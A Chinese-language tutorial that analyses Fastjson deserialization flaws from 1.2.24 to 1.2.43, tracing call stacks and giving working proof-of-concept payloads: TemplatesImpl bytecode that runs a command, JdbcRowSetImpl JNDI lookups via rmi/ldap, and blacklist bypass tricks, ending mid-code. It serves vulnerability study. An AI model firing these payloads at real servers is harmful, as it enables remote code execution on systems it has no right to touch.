Java安全之FastJson漏洞分析与利用

基本知识

fastjson是一个阿里巴巴的开源库,用于对JSON格式的数据进行解析和打包

简单使用

添加依赖

Maven项目添加依赖

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.58</version>
</dependency>

如果出现com.alibaba:fastjson:pom:1.2.58 failed to transfer from等错误,在pom.xml中添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<repositories>
<repository>
<id>maven-ali</id>
<url>https://maven.aliyun.com/nexus/content/repositories/central</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>true</enabled>
<updatePolicy>always</updatePolicy>
<checksumPolicy>fail</checksumPolicy>
</snapshots>
</repository>
</repositories>

参考:仓库服务 (aliyun.com)

序列化与反序列化

构建Person和Person1类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package FastJson;

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Person1类:(在声明成员变量时不一致,其他都是一致的)

1
2
3
4
@JSONField(name = "user_name")
private String name;
@JSONField(name = "user_age")
private int age;

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package FastJson;
import com.alibaba.fastjson.*;

public class fastjsonTest {
public static void main(String[] args) {
// 将Java对象序列化成JSON字符串
Person person = new Person("mike", 18);
String personString = JSON.toJSONString(person);
System.out.println(personString);

// 将Json字符串反序列化成Java对象
String str = "{\"name\":\"lucy\",\"age\":18}";
Person person1 = JSON.parseObject(str, Person.class);
System.out.println(person1.toString());

// 将Json字符串反序列化成Java对象 使用注解映射
String str1 = "{\"user_name\":\"YYY\", \"user_age\":18}";
Person1 person11 = JSON.parseObject(str1, Person1.class);
System.out.println(person11.toString());
}
}

运行结果:

1
2
3
{"age":18,"name":"mike"}
Person{name='lucy', age=18}
Person{name='YYY', age=18}

结果分析:

在Java对象序列化成字符串的过程中,输出的结果age在name之前:在fastjson中,默认情况下,生成的JSON字符串的顺序是按照属性的字母顺序进行,而不是按照属性在类中的声明顺序。

@type使用

@typefastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是一个Java对象的类型。具体来说,当fastjsonJSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package FastJson;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;

import java.io.IOException;

public class fastjsonTest {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");
}
}

fastjson在1.2.24之后默认禁用Autotype,因此这里我们通过ParserConfig.getGlobalInstance().addAccept("java.lang");来开启,否则会报错autoType is not support

反序列化函数的区别

在字符串反序列化成对象时存在3个方法,分别如下:

  • parseObject(Stringtext)
  • parse (Stringtext)
  • parseObject(String text, Class clazz)

知识点一

使用方法2或3解析json字符串,程序最终都会走到com/alibaba/fastjson/util/JavaBeanInfo的bulid方法,其调用链如下图:

两者的调用链是完全一样的,不同点在于build方法中传入的classz来源不一致:

  • parse (Stringtext):传入的clazz参数获取于json字符串中@type字段的值

    获取的相关代码在com/alibaba/fastjson/parser/DefaultJSONParser的parseObject方法

    1
    2
    3
    4
    5
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
    ...
    }
  • parseObject(String text, Class clazz):传入的classz参数获取于第二个参数

知识点二

com/alibaba/fastjson/util/JavaBeanInfo的bulid方法中会对传入的json字符串进行解析,会创建一个filedList数组来存放后续将要处理的目标类的setter方法及某些特定条件下的getter方法

getter方法收集条件:

  • 方法名长度需要大于4

    1
    2
    3
    if (methodName.length() < 4) {
    continue;
    }
  • 不是静态方法

    1
    2
    3
    if (Modifier.isStatic(method.getModifiers())) {
    continue;
    }
  • 方法名以get开头并且第四个字母是大写字母

    1
    if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)))
  • 无参数

    1
    2
    3
    if (method.getParameterTypes().length != 0) {
    continue;
    }
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

    1
    2
    3
    4
    5
    6
    if (Collection.class.isAssignableFrom(method.getReturnType()) //
    || Map.class.isAssignableFrom(method.getReturnType()) //
    || AtomicBoolean.class == method.getReturnType() //
    || AtomicInteger.class == method.getReturnType() //
    || AtomicLong.class == method.getReturnType() //
    )
  • 此getter不能有setter方法

    1
    2
    3
    4
    FieldInfo fieldInfo = getField(fieldList, propertyName);
    if (fieldInfo != null) {
    continue;
    }

知识点三

parseObject(Stringtext) 方法与其他两个方法不同,它先执行了parse方法,然后通过JSON.toJSON转换成了JSONObject对象

1
2
3
4
5
6
7
8
public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}

return (JSONObject) JSON.toJSON(obj);
}

在JSON.toJSON中调用了javaBeanSerializer.getFieldValuesMap方法记录了所有的getter方法

1
2
3
4
5
6
7
JSONObject json = new JSONObject();
try {
Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
for (Map.Entry<String, Object> entry : values.entrySet()) {
json.put(entry.getKey(), toJSON(entry.getValue()));
}
}
1
2
3
4
5
6
7
8
9
public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
Map<String, Object> map = new LinkedHashMap<String, Object>(sortedGetters.length);

for (FieldSerializer getter : sortedGetters) {
map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
}

return map;
}

最后在FieldInfo的get方法中通过反射调用了所有的getter方法

1
2
3
4
5
6
7
8
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
if (method != null) {
Object value = method.invoke(javaObject, new Object[0]);
return value;
}

return field.get(javaObject);
}

调用栈:

知识点四

如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数

Fastjson默认只会反序列化public修饰的属性

参考:Fastjson 1.2.24反序列化漏洞深度分析 - 知乎 (zhihu.com)

漏洞复现

<=fastjson1.2.24(CVE-2017-18349)

fastjson<=1.2.24 反序列化漏洞,JDK版本无限制

环境

Maven依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class CveTest1 {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);

}
}

其中_bytecodes中的内容是下面内容编译成class文件后进行base64编码后得到的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

利用链:

1
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

这是后半段的利用链,触发的方法是getOutputProperties,这是TemplatesImpl类中的一个getter方法,主要获取_outputProperties属性

而前半部分的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:10, CveTest1 (FastJson)

另外在parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)中存在解析json字符串的代码,并且收集符合要求的getter函数,getOutputProperties就是其中的一个

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

第一句代码在367行,一直步入到JavaBeanInfo类中的build函数就是收集getter方法的函数

其调用栈如下

1
2
3
4
5
6
7
8
9
10
11
build:130, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:10, CveTest1 (FastJson)

为什么_bytecodes需要base64编码

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer)
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer)
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:10, CveTest1 (FastJson)

其中bytesValue函数

1
2
3
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}

在代码逻辑中,字段的值从String恢复成byte[],会经过一次base64解码。这是应该是fastjson在传输byte[]中做的一个内部规定。序列化时应该也会对byte[]自动base64编码

要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties字段,多了一个_

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
smartMatch:807, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:724, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:10, CveTest1 (FastJson)

其中smartMatch函数中将_替换成空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
...
}

修复

对@type标签的值进行了黑名单和白名单的限制,即使用了checkAutoType函数处理@type中的值

参考

JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

从0到1的fastjson的反序列化漏洞分析 - 先知社区 (aliyun.com)

【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇) (qq.com)

fastjson1.2.25-1.2.41

前置知识

知识点1

fastjson1.2.25版本加入了黑白名单机制,具体黑名单如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

检测函数是com.alibaba.fastjson.parser.ParserConfig中的checkAutoType函数

如果开启了autoType:先判断类名是否在白名单中,如果匹配成功就使用TypeUtils.loadClass加载;如果不在则去匹配黑名单,在黑名单中则抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
final String className = typeName.replace('$', '.');

if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

如果没有开启autoType:先判断是否在黑名单中,如果不在再去判断是否在白名单中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

最后如果黑名单和白名单都没有匹配,若开启了autoType或者expectClass不为空(指定了Class对象)时,才会调用TypeUtils.loadClass,否则不加载

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

进入loadClass函数,其含义是:如果类名以[开头,则表示该类是一个数组类型,递归调用loadClass来加载数组元素中的Class对象,并且使用Array.newInstance创建一个空数组对象并返回该数组对象的Class对象;

如果类名以L开头并且以;结尾,表示该类是一个普通的Java类,去掉L;再递归调用loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

知识点2

autoType是默认禁用的,开启的方式有以下3种:

1
2
3
4
5
1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb.");或者ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2.加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.example.

3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.

环境

Maven依赖、JDK8u66下

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

下载https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0,启动工具

1
"C:\Program Files\Java\jdk1.8.0_66\bin\java.exe" -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C "calc.exe"

测试

POC

1
2
3
4
5
6
7
8
9
10
11
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

为什么这样构造

还是一样的目的,要绕过checkAutoType函数,就不能够被黑名单拦截,所以在前面加一个L就能解决问题,当然这个L也不是乱加的,因为后面有代码进行处理(执行这段代码也需要开启autoType)

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

进入到loadClass函数中,有这样一段处理代码

1
2
3
4
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

满足以L开头,以;结尾,就能够剔除掉返回我们想要的类名,然后再迭代执行loadClass,返回我们想要的clazz,执行栈如下

1
2
3
4
5
6
7
8
9
loadClass:1110, TypeUtils (com.alibaba.fastjson.util) [2]
loadClass:1091, TypeUtils (com.alibaba.fastjson.util) [1]
checkAutoType:861, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:25, POC (FastJson)

当然,由于loadClass是迭代的,不管加几层L;都能解析,也可以加[,下面这个payload也适用

1
"{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}"

在loadClass函数中同样有处理[的代码

1
2
3
4
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

JdbcRowSetImpl链的利用

在前面分析得到,根据我们传递的类名得到反序列化器会经过JavaBeanInfo的build函数,会收集所有的setter方法,接下就是逐一调用相关字段的set方法

这里关注JdbcRowSetImpl类的setAutoCommit()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void setAutoCommit(boolean autoCommit) throws SQLException {
// The connection object should be there
// in order to commit the connection handle on or off.

if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
// Coming here means the connection object is null.
// So generate a connection handle internally, since
// a JdbcRowSet is always connected to a db, it is fine
// to get a handle to the connection.

// Get hold of a connection handle
// and change the autcommit as passesd.
conn = connect();

// After setting the below the conn.getAutoCommit()
// should return the same value.
conn.setAutoCommit(autoCommit);

}
}

它调用了本类的connect方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private Connection connect() throws SQLException {

// Get a JDBC connection.

// First check for Connection handle object as such if
// "this" initialized using conn.

if(conn != null) {
return conn;

} else if (getDataSourceName() != null) {

// Connect using JNDI.
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());
//return ds.getConnection(getUsername(),getPassword());

if(getUsername() != null && !getUsername().equals("")) {
return ds.getConnection(getUsername(),getPassword());
} else {
return ds.getConnection();
}
}
catch (javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}

} else if (getUrl() != null) {
// Check only for getUrl() != null because
// user, passwd can be null
// Connect using the driver manager.

return DriverManager.getConnection
(getUrl(), getUsername(), getPassword());
}
else {
return null;
}

}

关键代码在于Context ctx = new InitialContext();DataSource ds = (DataSource)ctx.lookup(getDataSourceName());

要执行到这里需要满足以下条件

  • conn != null
  • getDataSourceName() != null

setDataSourceName方法中设置了dataSource并且conn=null,同时满足这两个条件,而setDataSourceName方法会在解析dataSourceName参数是调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void setDataSourceName(String dsName) throws SQLException{

if(getDataSourceName() != null) {
if(!getDataSourceName().equals(dsName)) {
super.setDataSourceName(dsName);
conn = null;
ps = null;
rs = null;
}
}
else {
super.setDataSourceName(dsName);
}
}

修复

把黑名单明文修改成黑名单hash;

在checkAutoType函数先进行一轮首尾是否为L;的判断,若是则去除首尾再进行黑名单匹配

fastjson1.2.42

前置知识

黑名单hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
denyHashCodes = new long[]{
-8720046426850100497L,
-8109300701639721088L,
-7966123100503199569L,
-7766605818834748097L,
-6835437086156813536L,
-4837536971810737970L,
-4082057040235125754L,
-2364987994247679115L,
-1872417015366588117L,
-254670111376247151L,
-190281065685395680L,
33238344207745342L,
313864100207897507L,
1203232727967308606L,
1502845958873959152L,
3547627781654598988L,
3730752432285826863L,
3794316665763266033L,
4147696707147271408L,
5347909877633654828L,
5450448828334921485L,
5751393439502795295L,
5944107969236155580L,
6742705432718011780L,
7179336928365889465L,
7442624256860549330L,
8838294710098435315L
};

常用的包是有限的,这可以通过hash碰撞来爆破,具体参考:LeadroyaL/fastjson-blacklist (github.com)

分析checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

// 如果开头是L,结尾是; 则删除开头和结尾
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

// 计算前3个字符的hash
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;

if (autoTypeSupport || expectClass != null) {
long hash = h3;
// 基于前3个字符继续hash运算,一位一位进行比较
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
// 白名单佐比较
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 黑名单比较
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

双写L;即可绕过

环境

Maven依赖、JDK8u66下

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>

测试

POC

1
2
3
4
5
6
7
8
9
10
11
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/tre2da\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

修复

在checkAutoType加了一个判断,只要以LL开头则报异常

fastjson1.2.43

前置知识

分析checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 如果开头是否是L,结尾是否是;
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
// 判断是否以LL开头
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

可以使用[进行绕过

环境

Maven依赖、JDK8u66下

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>

测试

1
2
3
4
5
6
7
8
9
10
11
package FastJson;
